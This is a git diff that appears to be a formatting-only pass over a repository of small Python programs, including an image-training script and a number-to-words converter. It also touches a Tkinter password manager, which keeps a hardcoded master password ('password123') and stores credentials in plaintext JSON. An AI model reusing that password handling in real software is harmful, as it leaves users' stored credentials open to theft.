'fashion_mnist', 'stl10', - 'tiny_imagenet', 'imagenet', 'food101', 'caltech256', 'oxford_pets'], - help='Dataset to use') + parser = argparse.ArgumentParser(description="NeuralForge Training") + parser.add_argument("--config", type=str, default=None, help="Path to config file") + parser.add_argument( + "--model", + type=str, + default="simple", + choices=["simple", "resnet18", "efficientnet", "vit"], + ) + parser.add_argument("--batch-size", type=int, default=32) + parser.add_argument("--epochs", type=int, default=50) + parser.add_argument("--lr", type=float, default=0.001) + parser.add_argument( + "--device", type=str, default="cuda" if torch.cuda.is_available() else "cpu" + ) + parser.add_argument( + "--num-samples", type=int, default=5000, help="Number of synthetic samples" + ) + parser.add_argument("--num-classes", type=int, default=10) + parser.add_argument("--seed", type=int, default=42) + parser.add_argument( + "--dataset", + type=str, + default="synthetic", + choices=[ + "synthetic", + "cifar10", + "cifar100", + "mnist", + "fashion_mnist", + "stl10", + "tiny_imagenet", + "imagenet", + "food101", + "caltech256", + "oxford_pets", + ], + help="Dataset to use", + ) args = parser.parse_args() - + if args.config: config = Config.load(args.config) else: @@ -72,106 +96,107 @@ def main(): config.device = args.device config.num_classes = args.num_classes config.seed = args.seed - + set_seed(config.seed) - + logger = Logger(config.log_dir, "training") logger.info("=" * 80) logger.info("NeuralForge Training Framework") logger.info("=" * 80) logger.info(f"Configuration:\n{config}") - - if args.dataset == 'synthetic': + + if args.dataset == "synthetic": logger.info("Creating synthetic dataset...") train_dataset = SyntheticDataset( num_samples=args.num_samples, num_classes=config.num_classes, image_size=config.image_size, - channels=3 + channels=3, ) - + val_dataset = SyntheticDataset( num_samples=args.num_samples // 5, num_classes=config.num_classes, image_size=config.image_size, - channels=3 + channels=3, ) else: logger.info(f"Downloading and loading {args.dataset} dataset...") config.num_classes = get_num_classes(args.dataset) - - train_dataset = get_dataset(args.dataset, root=config.data_path, train=True, download=True) - val_dataset = get_dataset(args.dataset, root=config.data_path, train=False, download=True) - - if args.dataset in ['mnist', 'fashion_mnist']: + + train_dataset = get_dataset( + args.dataset, root=config.data_path, train=True, download=True + ) + val_dataset = get_dataset( + args.dataset, root=config.data_path, train=False, download=True + ) + + if args.dataset in ["mnist", "fashion_mnist"]: config.image_size = 28 - elif args.dataset in ['cifar10', 'cifar100']: + elif args.dataset in ["cifar10", "cifar100"]: config.image_size = 32 - elif args.dataset == 'tiny_imagenet': + elif args.dataset == "tiny_imagenet": config.image_size = 64 - elif args.dataset == 'stl10': + elif args.dataset == "stl10": config.image_size = 96 - elif args.dataset in ['imagenet', 'food101', 'caltech256', 'oxford_pets']: + elif args.dataset in ["imagenet", "food101", "caltech256", "oxford_pets"]: config.image_size = 224 - + loader_builder = DataLoaderBuilder(config) train_loader = loader_builder.build_train_loader(train_dataset) val_loader = loader_builder.build_val_loader(val_dataset) - + logger.info(f"Train dataset size: {len(train_dataset)}") logger.info(f"Validation dataset size: {len(val_dataset)}") - + logger.info(f"Creating model: {args.model}") - if args.model == 'simple': + if args.model == "simple": model = create_simple_model(config.num_classes) - elif args.model == 'resnet18': + elif args.model == "resnet18": model = ResNet18(num_classes=config.num_classes) else: model = create_simple_model(config.num_classes) - + logger.log_model_summary(model) - + criterion = nn.CrossEntropyLoss() - - if config.optimizer.lower() == 'adamw': + + if config.optimizer.lower() == "adamw": optimizer = nf_optim.AdamW( model.parameters(), lr=config.learning_rate, - weight_decay=config.weight_decay + weight_decay=config.weight_decay, ) - elif config.optimizer.lower() == 'adam': + elif config.optimizer.lower() == "adam": optimizer = optim.Adam( model.parameters(), lr=config.learning_rate, - weight_decay=config.weight_decay + weight_decay=config.weight_decay, ) else: optimizer = optim.SGD( model.parameters(), lr=config.learning_rate, momentum=0.9, - weight_decay=config.weight_decay + weight_decay=config.weight_decay, ) - - if config.scheduler == 'cosine': + + if config.scheduler == "cosine": scheduler = nf_optim.CosineAnnealingWarmRestarts( - optimizer, - T_0=10, - T_mult=2, - eta_min=1e-6 + optimizer, T_0=10, T_mult=2, eta_min=1e-6 ) - elif config.scheduler == 'onecycle': + elif config.scheduler == "onecycle": scheduler = nf_optim.OneCycleLR( optimizer, max_lr=config.learning_rate, - total_steps=config.epochs * len(train_loader) + total_steps=config.epochs * len(train_loader), ) else: scheduler = None - + logger.info(f"Optimizer: {config.optimizer}") logger.info(f"Scheduler: {config.scheduler}") - + trainer = Trainer( model=model, train_loader=train_loader, @@ -180,17 +205,18 @@ def main(): criterion=criterion, config=config, scheduler=scheduler, - device=config.device + device=config.device, ) - + logger.info("Starting training...") trainer.train() - + logger.info("Training completed successfully!") logger.info(f"Best validation loss: {trainer.best_val_loss:.4f}") - - config.save(os.path.join(config.log_dir, 'config.json')) + + config.save(os.path.join(config.log_dir, "config.json")) logger.info(f"Configuration saved to {os.path.join(config.log_dir, 'config.json')}") -if __name__ == '__main__': + +if __name__ == "__main__": main() diff --git a/Model Usage.ipynb b/Model Usage.ipynb deleted file mode 100644 index fbc01ccc46c..00000000000 --- a/Model Usage.ipynb +++ /dev/null @@ -1,84 +0,0 @@ -{ - "cells": [ - { - "cell_type": "code", - "execution_count": 1, - "metadata": {}, - "outputs": [], - "source": [ - "from joblib import load\n", - "import numpy as np\n", - "\n", - "model = load(\"HousingPricePredicter.joblib\")" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "metadata": {}, - "outputs": [], - "source": [ - "features = np.array(\n", - " [\n", - " [\n", - " -0.43942006,\n", - " 3.12628155,\n", - " -1.12165014,\n", - " -0.27288841,\n", - " -1.42262747,\n", - " -0.24141041,\n", - " -1.31238772,\n", - " 2.61111401,\n", - " -1.0016859,\n", - " -0.5778192,\n", - " -0.97491834,\n", - " 0.41164221,\n", - " -0.86091034,\n", - " ]\n", - " ]\n", - ")" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([22.508])" - ] - }, - "execution_count": 3, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "model.predict(features)" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.2" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} diff --git a/Multiply.py b/Multiply.py index 8d4121cfe56..2d604402d9d 100644 --- a/Multiply.py +++ b/Multiply.py @@ -2,7 +2,7 @@ def product(a, b): # Handle negative values if b < 0: return -product(a, -b) - + if a < b: return product(b, a) elif b != 0: diff --git a/MySQL_Databses.py b/MySQL_Databses.py index 226a20e742c..4e1a795d72d 100644 --- a/MySQL_Databses.py +++ b/MySQL_Databses.py @@ -1,4 +1,5 @@ import mysql.connector + # MySQl databses details host = input("Enter MySQL host: ") username = input("Enter MySQL username: ") diff --git a/NumberToNumberName/numbername.py b/NumberToNumberName/numbername.py index 8eae393db6b..a0e0fcc008b 100644 --- a/NumberToNumberName/numbername.py +++ b/NumberToNumberName/numbername.py @@ -2,7 +2,7 @@ # Eg: # 61893: Sixty One Thousand Eight Hundred Ninety Three -__import__('os').system('cls') +__import__("os").system("cls") Y = "\033[38;2;255;200;0m" @@ -14,30 +14,59 @@ nameList = [] numDict = { - 1 : "One", 2 : "Two", 3 : "Three", 4 : "Four", 5 : "Five", - 6 : "Six", 7 : "Seven", 8 : "Eight", 9 : "Nine", 10 : "Ten", - 11 : "Eleven", 12 : "Twelve", 13 : "Thirteen", 14 : "Fourteen", 15 : "Fifteen", - 16 : "Sixteen", 17 : "Seventeen", 18 : "Eighteen", 19 : "Ninteen", 20 : "Twenty", - 30 : "Thirty", 40 : "Forty", 50 : "Fifty", 60 : "Sixty", 70 : "Seventy", - 80 : "Eighty", 90 : "Ninety" + 1: "One", + 2: "Two", + 3: "Three", + 4: "Four", + 5: "Five", + 6: "Six", + 7: "Seven", + 8: "Eight", + 9: "Nine", + 10: "Ten", + 11: "Eleven", + 12: "Twelve", + 13: "Thirteen", + 14: "Fourteen", + 15: "Fifteen", + 16: "Sixteen", + 17: "Seventeen", + 18: "Eighteen", + 19: "Ninteen", + 20: "Twenty", + 30: "Thirty", + 40: "Forty", + 50: "Fifty", + 60: "Sixty", + 70: "Seventy", + 80: "Eighty", + 90: "Ninety", } digits = { - "1" : "One", "2" : "Two", "3" : "Three", "4" : "Four", "5" : "Five", - "6" : "Six", "7" : "Seven", "8" : "Eight", "9" : "Nine", "0" : "Zero" + "1": "One", + "2": "Two", + "3": "Three", + "4": "Four", + "5": "Five", + "6": "Six", + "7": "Seven", + "8": "Eight", + "9": "Nine", + "0": "Zero", } placeValueDict = { - 1 : "", - 2 : "Thousand", - 3 : "Million", - 4 : "Billion", - 5 : "Trillion", - 6 : "Quadrillion", - 7 : "Quintillion", - 8 : "Sextillion", - 9 : "Septilion", - 10 : "Octillion" + 1: "", + 2: "Thousand", + 3: "Million", + 4: "Billion", + 5: "Trillion", + 6: "Quadrillion", + 7: "Quintillion", + 8: "Sextillion", + 9: "Septilion", + 10: "Octillion", } print("Maximum Input: 999,999,999,999,999,999,999,999,999,999") @@ -46,96 +75,99 @@ isNegative = False while True: - num = input(f"Enter a number: {Y}") - print(f"{W}", end="") + num = input(f"Enter a number: {Y}") + print(f"{W}", end="") + + try: + splittedNum = num.split(".") + + splittedNum[0] = splittedNum[0].replace(" ", "") + if len(splittedNum) == 2: + splittedNum[1] = splittedNum[1].replace(" ", "") + splittedNum[1] = splittedNum[1].rstrip("0") + + if splittedNum[1] == "": + splittedNum.remove("") + + num = int(splittedNum[0]) + + if len(splittedNum) == 1: + placeholder = splittedNum[0] + placeholder = int(placeholder) + else: + placeholder = splittedNum[0] + "." + splittedNum[1] + placeholder = float(placeholder) + + if ( + num >= 1000000000000000000000000000000 + or num <= -1000000000000000000000000000000 + ): + print("Input out of range\n") + else: + if num < 0: + isNegative = True + num = num * (-1) + break + except ValueError or EOFError: + print("Invalid Input\n") - try: - splittedNum = num.split(".") - splittedNum[0] = splittedNum[0].replace(" ", "") - if len(splittedNum) == 2: - splittedNum[1] = splittedNum[1].replace(" ", "") - splittedNum[1] = splittedNum[1].rstrip("0") +if num == 0: + print(f"0 in words is: {Y}Zero{W}") +else: + while num > 0: + groupedList.append(num % 1000) + num //= 1000 - if splittedNum[1] == "": - splittedNum.remove("") + groupedList.reverse() - num = int(splittedNum[0]) + for i in groupedList: + if i != 0: + if i >= 100: + name = name + numDict[int(i / 100)] + " Hundred" + i = i % 100 - if len(splittedNum) == 1: - placeholder = splittedNum[0] - placeholder = int(placeholder) + if i >= 20: + if name == "": + name = name + numDict[i - (i % 10)] else: - placeholder = splittedNum[0] + "." + splittedNum[1] - placeholder = float(placeholder) + name = name + " " + numDict[i - (i % 10)] - if num >= 1000000000000000000000000000000 or num <= -1000000000000000000000000000000: - print("Input out of range\n") + i = i % 10 + elif i >= 10: + if name == "": + name = name + numDict[i] else: - if num < 0: - isNegative = True - num = num * (-1) - break - except ValueError or EOFError: - print("Invalid Input\n") + name = name + " " + numDict[i] + i = i % 10 -if num == 0: - print(f"0 in words is: {Y}Zero{W}") -else: - while num > 0: - groupedList.append(num % 1000) - num //= 1000 - - groupedList.reverse() - - for i in groupedList: - if i != 0: - if i >= 100: - name = name + numDict[int(i/100)] + " Hundred" - i = i % 100 - - if i >= 20: - if name == "": - name = name + numDict[i - (i % 10)] - else: - name = name + " " + numDict[i - (i % 10)] - - i = i % 10 - elif i >= 10: - if name == "": - name = name + numDict[i] - else: - name = name + " " + numDict[i] - - i = i % 10 - - if i != 0: - if name == "": - name = name + numDict[i] - else: - name = name + " " + numDict[i] - - nameList.append(name) - name = "" + if i != 0: + if name == "": + name = name + numDict[i] else: - nameList.append("") + name = name + " " + numDict[i] - for i in range(len(groupedList)): - if nameList[i] != "": - name = name + nameList[i] + " " + placeValueDict[len(groupedList) - i] + " " + nameList.append(name) + name = "" + else: + nameList.append("") - name = name.rstrip() + for i in range(len(groupedList)): + if nameList[i] != "": + name = name + nameList[i] + " " + placeValueDict[len(groupedList) - i] + " " - if len(splittedNum) == 2 and splittedNum[1] != "": - name = name + f" {B}Point{Y}" + name = name.rstrip() - for i in splittedNum[1]: - name = name + " " + digits[i] + if len(splittedNum) == 2 and splittedNum[1] != "": + name = name + f" {B}Point{Y}" - print(f"{W}", end="") + for i in splittedNum[1]: + name = name + " " + digits[i] - if isNegative == False: - print(f"\n{placeholder} in words is: {Y}{name}{W}") - else: - print(f"\n{placeholder} in words is: {Y}Minus {name}{W}") + print(f"{W}", end="") + + if isNegative == False: + print(f"\n{placeholder} in words is: {Y}{name}{W}") + else: + print(f"\n{placeholder} in words is: {Y}Minus {name}{W}") diff --git a/Password Manager Using Tkinter/PGV.py b/Password Manager Using Tkinter/PGV.py index 045625ea650..9e107c802d8 100644 --- a/Password Manager Using Tkinter/PGV.py +++ b/Password Manager Using Tkinter/PGV.py @@ -1,11 +1,8 @@ import json new_data = { - website_input.get():{ - "email": email_input.get(), - "password": passw_input.get() - } - } + website_input.get(): {"email": email_input.get(), "password": passw_input.get()} +} try: with open("data.json", "r") as data_file: @@ -15,4 +12,4 @@ pass else: with open("data.json", "w") as data_file: - json.dump(new_data, data_file, indent = 4) \ No newline at end of file + json.dump(new_data, data_file, indent=4) diff --git a/Password Manager Using Tkinter/main.py b/Password Manager Using Tkinter/main.py index 15d6fdc1d13..afb9da840db 100644 --- a/Password Manager Using Tkinter/main.py +++ b/Password Manager Using Tkinter/main.py @@ -12,12 +12,66 @@ # in a real application, this should be changed and stored securely (e.g., hashed and salted). MASTER_PASSWORD = "password123" + # ---------------------------- PASSWORD GENERATOR ------------------------------- # def generate_password(): """generates a random strong password and copies it to clipboard.""" - letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] - numbers = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] - symbols = ['!', '#', '$', '%', '&', '(', ')', '*', '+'] + letters = [ + "a", + "b", + "c", + "d", + "e", + "f", + "g", + "h", + "i", + "j", + "k", + "l", + "m", + "n", + "o", + "p", + "q", + "r", + "s", + "t", + "u", + "v", + "w", + "x", + "y", + "z", + "A", + "B", + "C", + "D", + "E", + "F", + "G", + "H", + "I", + "J", + "K", + "L", + "M", + "N", + "O", + "P", + "Q", + "R", + "S", + "T", + "U", + "V", + "W", + "X", + "Y", + "Z", + ] + numbers = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"] + symbols = ["!", "#", "$", "%", "&", "(", ")", "*", "+"] password_letters = [choice(letters) for _ in range(randint(8, 10))] password_symbols = [choice(symbols) for _ in range(randint(2, 4))] @@ -30,7 +84,10 @@ def generate_password(): password_entry.delete(0, tk.END) password_entry.insert(0, password) pyperclip.copy(password) - messagebox.showinfo(title="Password Generated", message="Password copied to clipboard!") + messagebox.showinfo( + title="Password Generated", message="Password copied to clipboard!" + ) + # ---------------------------- SAVE PASSWORD ------------------------------- # def save(): @@ -46,18 +103,23 @@ def save(): } if not website or not password: - messagebox.showerror(title="Oops", message="Please don't leave any fields empty!") + messagebox.showerror( + title="Oops", message="Please don't leave any fields empty!" + ) return - is_ok = messagebox.askokcancel(title=website, message=f"These are the details entered: \nEmail: {email} " - f"\nPassword: {password} \nIs it ok to save?") + is_ok = messagebox.askokcancel( + title=website, + message=f"These are the details entered: \nEmail: {email} " + f"\nPassword: {password} \nIs it ok to save?", + ) if is_ok: try: with open("data.json", "r") as data_file: data = json.load(data_file) - except (FileNotFoundError, json.JSONDecodeError): + except FileNotFoundError, json.JSONDecodeError: data = {} - + data.update(new_data) with open("data.json", "w") as data_file: @@ -66,6 +128,7 @@ def save(): website_entry.delete(0, tk.END) password_entry.delete(0, tk.END) + # ---------------------------- FIND PASSWORD ------------------------------- # def find_password(): """finds and displays password for a given website.""" @@ -73,94 +136,126 @@ def find_password(): try: with open("data.json", "r") as data_file: data = json.load(data_file) - except (FileNotFoundError, json.JSONDecodeError): + except FileNotFoundError, json.JSONDecodeError: messagebox.showerror(title="Error", message="No Data File Found.") return - + if website in data: email = data[website]["email"] password = data[website]["password"] - messagebox.showinfo(title=website, message=f"Email: {email}\nPassword: {password}") + messagebox.showinfo( + title=website, message=f"Email: {email}\nPassword: {password}" + ) pyperclip.copy(password) - messagebox.showinfo(title="Copied", message="Password for {} copied to clipboard.".format(website)) + messagebox.showinfo( + title="Copied", + message="Password for {} copied to clipboard.".format(website), + ) else: messagebox.showerror(title="Error", message=f"No details for {website} exists.") + # ---------------------------- VIEW ALL PASSWORDS ------------------------------- # def view_all_passwords(): """prompts for master password and displays all saved passwords if correct.""" - password = simpledialog.askstring("Master Password", "Please enter the master password:", show='*') - + password = simpledialog.askstring( + "Master Password", "Please enter the master password:", show="*" + ) + if password == MASTER_PASSWORD: show_passwords_window() - elif password is not None: # avoids error message if user clicks cancel - messagebox.showerror("Incorrect Password", "The master password you entered is incorrect.") + elif password is not None: # avoids error message if user clicks cancel + messagebox.showerror( + "Incorrect Password", "The master password you entered is incorrect." + ) + def show_passwords_window(): """creates a new window to display all passwords in a table.""" all_passwords_window = tk.Toplevel(window) all_passwords_window.title("All Saved Passwords") all_passwords_window.config(padx=20, pady=20) - + # a frame for the treeview and scrollbar tree_frame = ttk.Frame(all_passwords_window) - tree_frame.grid(row=0, column=0, columnspan=2, sticky='nsew') - + tree_frame.grid(row=0, column=0, columnspan=2, sticky="nsew") + # a Treeview (table) - cols = ('Website', 'Email', 'Password') - tree = ttk.Treeview(tree_frame, columns=cols, show='headings') - + cols = ("Website", "Email", "Password") + tree = ttk.Treeview(tree_frame, columns=cols, show="headings") + # column headings and widths - tree.heading('Website', text='Website') - tree.column('Website', width=150) - tree.heading('Email', text='Email/Username') - tree.column('Email', width=200) - tree.heading('Password', text='Password') - tree.column('Password', width=200) - - tree.grid(row=0, column=0, sticky='nsew') + tree.heading("Website", text="Website") + tree.column("Website", width=150) + tree.heading("Email", text="Email/Username") + tree.column("Email", width=200) + tree.heading("Password", text="Password") + tree.column("Password", width=200) + + tree.grid(row=0, column=0, sticky="nsew") # a scrollbar scrollbar = ttk.Scrollbar(tree_frame, orient=tk.VERTICAL, command=tree.yview) tree.configure(yscroll=scrollbar.set) - scrollbar.grid(row=0, column=1, sticky='ns') + scrollbar.grid(row=0, column=1, sticky="ns") # load data from JSON file try: with open("data.json", "r") as data_file: data = json.load(data_file) - + # insert data into the treeview for website, details in data.items(): - tree.insert("", "end", values=(website, details['email'], details['password'])) - - except (FileNotFoundError, json.JSONDecodeError): + tree.insert( + "", "end", values=(website, details["email"], details["password"]) + ) + + except FileNotFoundError, json.JSONDecodeError: # if file not found or empty, it will just show an empty table pass - + def copy_selected_info(column_index, info_type): """copies the email or password of the selected row.""" selected_item = tree.focus() if not selected_item: - messagebox.showwarning("No Selection", "Please select a row from the table first.", parent=all_passwords_window) + messagebox.showwarning( + "No Selection", + "Please select a row from the table first.", + parent=all_passwords_window, + ) return - - item_values = tree.item(selected_item, 'values') + + item_values = tree.item(selected_item, "values") info_to_copy = item_values[column_index] pyperclip.copy(info_to_copy) - messagebox.showinfo("Copied!", f"The {info_type.lower()} for '{item_values[0]}' has been copied to your clipboard.", parent=all_passwords_window) + messagebox.showinfo( + "Copied!", + f"The {info_type.lower()} for '{item_values[0]}' has been copied to your clipboard.", + parent=all_passwords_window, + ) # a frame for the buttons button_frame = ttk.Frame(all_passwords_window) - button_frame.grid(row=1, column=0, columnspan=2, pady=(10,0)) + button_frame.grid(row=1, column=0, columnspan=2, pady=(10, 0)) - copy_email_button = ttk.Button(button_frame, text="Copy Email", style="success.TButton", command=lambda: copy_selected_info(1, "Email")) + copy_email_button = ttk.Button( + button_frame, + text="Copy Email", + style="success.TButton", + command=lambda: copy_selected_info(1, "Email"), + ) copy_email_button.pack(side=tk.LEFT, padx=5) - copy_password_button = ttk.Button(button_frame, text="Copy Password", style="success.TButton", command=lambda: copy_selected_info(2, "Password")) + copy_password_button = ttk.Button( + button_frame, + text="Copy Password", + style="success.TButton", + command=lambda: copy_selected_info(2, "Password"), + ) copy_password_button.pack(side=tk.LEFT, padx=5) - all_passwords_window.grab_set() # makes window modal + all_passwords_window.grab_set() # makes window modal + # ---------------------------- UI SETUP ------------------------------- # window = ttk.Window(themename="superhero") @@ -192,16 +287,21 @@ def copy_selected_info(column_index, info_type): password_entry.grid(row=3, column=1, pady=5, sticky="EW") # buttons -search_button = ttk.Button(text="Search", width=14, command=find_password, style="info.TButton") -search_button.grid(row=1, column=2, sticky="EW", padx=(5,0)) -generate_password_button = ttk.Button(text="Generate Password", command=generate_password, style="success.TButton") -generate_password_button.grid(row=3, column=2, sticky="EW", padx=(5,0)) +search_button = ttk.Button( + text="Search", width=14, command=find_password, style="info.TButton" +) +search_button.grid(row=1, column=2, sticky="EW", padx=(5, 0)) +generate_password_button = ttk.Button( + text="Generate Password", command=generate_password, style="success.TButton" +) +generate_password_button.grid(row=3, column=2, sticky="EW", padx=(5, 0)) add_button = ttk.Button(text="Add", width=43, command=save, style="primary.TButton") -add_button.grid(row=4, column=1, columnspan=2, pady=(10,0), sticky="EW") +add_button.grid(row=4, column=1, columnspan=2, pady=(10, 0), sticky="EW") -view_all_button = ttk.Button(text="View All Passwords", command=view_all_passwords, style="secondary.TButton") -view_all_button.grid(row=5, column=1, columnspan=2, pady=(10,0), sticky="EW") +view_all_button = ttk.Button( + text="View All Passwords", command=view_all_passwords, style="secondary.TButton" +) +view_all_button.grid(row=5, column=1, columnspan=2, pady=(10, 0), sticky="EW") window.mainloop() - diff --git a/Python Programs/Program of Reverse of any number.py b/Python Programs/Program of Reverse of any number.py deleted file mode 100644 index 75edba98cc8..00000000000 --- a/Python Programs/Program of Reverse of any number.py +++ /dev/null @@ -1,12 +0,0 @@ -num = int(input("enter any Number")) -rev = 0 -while num > 0: - Rem = num % 10 - num = num // 10 - rev = rev * 10 + Rem -print("The Reverse of the number", rev) -################## -# could also simply do this another way - -num = input() -print(int(num[::-1])) diff --git a/Python Programs/Program to print table of given number.py b/Python Programs/Program to print table of given number.py deleted file mode 100644 index 699e4047174..00000000000 --- a/Python Programs/Program to print table of given number.py +++ /dev/null @@ -1,19 +0,0 @@ -n = int(input("Enter the number to print the tables for:")) -for i in range(1, 11): - print(n, "x", i, "=", n * i) - -# Example -# input: 2 -# output: -""" -2 x 1 = 2 -2 x 2 = 4 -2 x 3 = 6 -2 x 4 = 8 -2 x 5 = 10 -2 x 6 = 12 -2 x 7 = 14 -2 x 8 = 16 -2 x 9 = 18 -2 x 10 = 20 -""" diff --git a/Python Programs/Program to reverse Linked List( Recursive solution).py b/Python Programs/Program to reverse Linked List( Recursive solution).py deleted file mode 100644 index 14f27b7a6fc..00000000000 --- a/Python Programs/Program to reverse Linked List( Recursive solution).py +++ /dev/null @@ -1,65 +0,0 @@ -from sys import stdin, setrecursionlimit - -setrecursionlimit(10**6) - - -# Following is the Node class already written for the Linked List -class Node: - def __init__(self, data): - self.data = data - self.next = None - - -def reverseLinkedListRec(head): - if head is None: - return None - if head.next is None: - return head - smallhead = reverseLinkedListRec(head.next) - head.next.next = head - head.next = None - return smallhead - - -# Taking Input Using Fast I/O -def takeInput(): - head = None - tail = None - - datas = list(map(int, stdin.readline().rstrip().split(" "))) - - i = 0 - while (i < len(datas)) and (datas[i] != -1): - data = datas[i] - newNode = Node(data) - - if head is None: - head = newNode - tail = newNode - - else: - tail.next = newNode - tail = newNode - - i += 1 - - return head - - -def printLinkedList(head): - while head is not None: - print(head.data, end=" ") - head = head.next - print() - - -# main -t = int(stdin.readline().rstrip()) - -while t > 0: - head = takeInput() - - newHead = reverseLinkedListRec(head) - printLinkedList(newHead) - - t -= 1 diff --git a/Python Programs/Python Program for Product of unique prime factors of a number.py b/Python Programs/Python Program for Product of unique prime factors of a number.py deleted file mode 100644 index 1018f51be56..00000000000 --- a/Python Programs/Python Program for Product of unique prime factors of a number.py +++ /dev/null @@ -1,29 +0,0 @@ -# Python program to find sum of given -# series. - - -def productPrimeFactors(n): - product = 1 - - for i in range(2, n + 1): - if n % i == 0: - isPrime = 1 - - for j in range(2, int(i / 2 + 1)): - if i % j == 0: - isPrime = 0 - break - - # condition if \'i\' is Prime number - # as well as factor of num - if isPrime: - product = product * i - - return product - - -# main() -n = 44 -print(productPrimeFactors(n)) - -# Contributed by _omg diff --git a/Python Programs/Python Program for Tower of Hanoi.py b/Python Programs/Python Program for Tower of Hanoi.py deleted file mode 100644 index 00c8eb96ce0..00000000000 --- a/Python Programs/Python Program for Tower of Hanoi.py +++ /dev/null @@ -1,12 +0,0 @@ -# Recursive Python function to solve the tower of hanoi -def TowerOfHanoi(n, source, destination, auxiliary): - if n == 1: - print("Move disk 1 from source ", source, " to destination ", destination) - return - TowerOfHanoi(n - 1, source, auxiliary, destination) - print("Move disk ", n, " from source ", source, " to destination ", destination) - TowerOfHanoi(n - 1, auxiliary, destination, source) - - -n = 4 -TowerOfHanoi(n, "A", "B", "C") diff --git a/Python Programs/Python Program for factorial of a number.py b/Python Programs/Python Program for factorial of a number.py deleted file mode 100644 index 2fd0ec75fe5..00000000000 --- a/Python Programs/Python Program for factorial of a number.py +++ /dev/null @@ -1,43 +0,0 @@ -""" -Factorial of a non-negative integer, is multiplication of -all integers smaller than or equal to n. -For example factorial of 6 is 6*5*4*3*2*1 which is 720. -""" - -""" -Recursive: -Python3 program to find factorial of given number -""" - - -def factorial(n): - # single line to find factorial - return 1 if (n == 1 or n == 0) else n * factorial(n - 1) - - -# Driver Code -num = 5 -print("Factorial of", num, "is", factorial((num))) - -""" -Iterative: -Python 3 program to find factorial of given number. -""" - - -def factorial(n): - if n < 0: - return 0 - elif n == 0 or n == 1: - return 1 - else: - fact = 1 - while n > 1: - fact *= n - n -= 1 - return fact - - -# Driver Code -num = 5 -print("Factorial of", num, "is", factorial(num)) diff --git a/Python Programs/Python Program to Count the Number of Each Vowel.py b/Python Programs/Python Program to Count the Number of Each Vowel.py deleted file mode 100644 index eb66d0967d6..00000000000 --- a/Python Programs/Python Program to Count the Number of Each Vowel.py +++ /dev/null @@ -1,19 +0,0 @@ -# Program to count the number of each vowels - -# string of vowels -vowels = "aeiou" - -ip_str = "Hello, have you tried our tutorial section yet?" - -# make it suitable for caseless comparisions -ip_str = ip_str.casefold() - -# make a dictionary with each vowel a key and value 0 -count = {}.fromkeys(vowels, 0) - -# count the vowels -for char in ip_str: - if char in count: - count[char] += 1 - -print(count) diff --git a/Python Programs/Python Program to Display Fibonacci Sequence Using Recursion.py b/Python Programs/Python Program to Display Fibonacci Sequence Using Recursion.py deleted file mode 100644 index 7bfb6b7a03a..00000000000 --- a/Python Programs/Python Program to Display Fibonacci Sequence Using Recursion.py +++ /dev/null @@ -1,16 +0,0 @@ -def recur_fibo(n): - if n <= 1: - return n - else: - return recur_fibo(n - 1) + recur_fibo(n - 2) - - -nterms = 10 - -# check if the number of terms is valid -if nterms <= 0: - print("Please enter a positive integer") -else: - print("Fibonacci sequence:") - for i in range(nterms): - print(recur_fibo(i)) diff --git a/Python Programs/Python Program to Find LCM.py b/Python Programs/Python Program to Find LCM.py deleted file mode 100644 index dfd1b57e81e..00000000000 --- a/Python Programs/Python Program to Find LCM.py +++ /dev/null @@ -1,23 +0,0 @@ -# Python Program to find the L.C.M. of two input number - - -def compute_lcm(x, y): - # choose the greater number - if x > y: - greater = x - else: - greater = y - - while True: - if (greater % x == 0) and (greater % y == 0): - lcm = greater - break - greater += 1 - - return lcm - - -num1 = 54 -num2 = 24 - -print("The L.C.M. is", compute_lcm(num1, num2)) diff --git a/Python Programs/Python Program to Merge Mails.py b/Python Programs/Python Program to Merge Mails.py deleted file mode 100644 index f8189fff88e..00000000000 --- a/Python Programs/Python Program to Merge Mails.py +++ /dev/null @@ -1,18 +0,0 @@ -# Python program to mail merger -# Names are in the file names.txt -# Body of the mail is in body.txt - -# open names.txt for reading -with open("names.txt", "r", encoding="utf-8") as names_file: - # open body.txt for reading - with open("body.txt", "r", encoding="utf-8") as body_file: - # read entire content of the body - body = body_file.read() - - # iterate over names - for name in names_file: - mail = "Hello " + name.strip() + "\n" + body - - # write the mails to individual files - with open(name.strip() + ".txt", "w", encoding="utf-8") as mail_file: - mail_file.write(mail) diff --git a/Python Programs/Python Program to Print the Fibonacci sequence.py b/Python Programs/Python Program to Print the Fibonacci sequence.py deleted file mode 100644 index d6a70a574cd..00000000000 --- a/Python Programs/Python Program to Print the Fibonacci sequence.py +++ /dev/null @@ -1,23 +0,0 @@ -# Program to display the Fibonacci sequence up to n-th term - -nterms = int(input("How many terms? ")) - -# first two terms -n1, n2 = 0, 1 -count = 0 - -# check if the number of terms is valid -if nterms <= 0: - print("Please enter a positive integer") -elif nterms == 1: - print("Fibonacci sequence upto", nterms, ":") - print(n1) -else: - print("Fibonacci sequence:") - while count < nterms: - print(n1) - nth = n1 + n2 - # update values - n1 = n2 - n2 = nth - count += 1 diff --git a/Python Programs/Python Program to Remove Punctuations from a String.py b/Python Programs/Python Program to Remove Punctuations from a String.py deleted file mode 100644 index 6154c73a11b..00000000000 --- a/Python Programs/Python Program to Remove Punctuations from a String.py +++ /dev/null @@ -1,16 +0,0 @@ -# define punctuation -punctuations = r"""!()-[]{};:'"\,<>./?@#$%^&*_~""" - -my_str = "Hello!!!, he said ---and went." - -# To take input from the user -# my_str = input("Enter a string: 